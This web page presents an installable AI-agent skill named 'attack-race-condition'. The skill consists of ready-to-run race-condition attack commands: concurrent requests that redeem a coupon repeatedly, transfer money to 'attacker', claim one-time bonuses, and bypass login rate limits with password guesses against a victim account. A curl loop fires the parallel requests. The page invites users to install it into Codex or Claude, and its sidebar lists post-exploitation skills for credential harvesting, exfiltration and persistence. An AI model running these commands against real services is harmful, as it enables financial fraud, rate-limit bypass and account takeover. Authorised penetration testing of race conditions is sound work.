Menu
Race condition / TOCTOU testing — concurrent requests to exploit time-of-check-to-time-of-use flaws
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
Based on SOC occupation classification
eBPF-based post-exploitation for kernel-level credential harvesting, process hiding, and traffic interception on Linux
AWS post-exploitation for IAM privilege escalation, data exfiltration, persistence, and operational security via boto3
Azure/Entra ID post-exploitation for tenant compromise, Key Vault extraction, managed identity abuse, and token manipulation
CI/CD pipeline attacks for secret extraction, pipeline injection, and supply chain compromise via GitHub/Jenkins/GitLab
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
| name | attack-race-condition |
| description | Race condition / TOCTOU testing — concurrent requests to exploit time-of-check-to-time-of-use flaws |
| category | web-application |
| version | 1.0 |
| author | cyberstrike-official |
| tags | ["race-condition","toctou","web","business-logic","attack"] |
| tech_stack | ["web"] |
| cwe_ids | ["CWE-362","CWE-367"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
Exploit time-of-check-to-time-of-use (TOCTOU) vulnerabilities by sending concurrent requests that bypass server-side validation.
State-changing operations vulnerable to race conditions:
# Basic race test — 20 concurrent POST requests
attack_script race_tester "https://TARGET/api/redeem" \
-m POST \
-H "Authorization:Bearer TOKEN" \
-d '{"coupon":"DISCOUNT50"}' \
-c 20 \
--json-output
# With delay (staggered)
attack_script race_tester "https://TARGET/api/transfer" \
-m POST \
-H "Authorization:Bearer TOKEN" \
-d '{"to":"attacker","amount":100}' \
-c 50 \
--delay 5
For critical timing, send all requests in a single TCP packet:
# Using curl with parallel connections
for i in $(seq 1 20); do
curl -s -X POST https://TARGET/api/redeem \
-H "Authorization: Bearer TOKEN" \
-d '{"coupon":"DISCOUNT50"}' &
done
wait
Look for:
# Race on rate-limited endpoint
attack_script race_tester "https://TARGET/api/login" \
-m POST \
-d '{"email":"victim@test.com","password":"guess1"}' \
-c 30
# Race on one-time action
attack_script race_tester "https://TARGET/api/claim-bonus" \
-m POST \
-H "Authorization:Bearer TOKEN" \
-c 20
| Finding | Severity |
|---|---|
| Financial: double-spend, duplicate transfer | Critical (P1) |
| Coupon/code reused multiple times | High (P2) |
| Rate limit bypassed via race | Medium (P3) |
| Duplicate record creation | Medium (P3) |
| Vote/like manipulation | Low (P4) |
attack_script race_tester — async concurrent request sender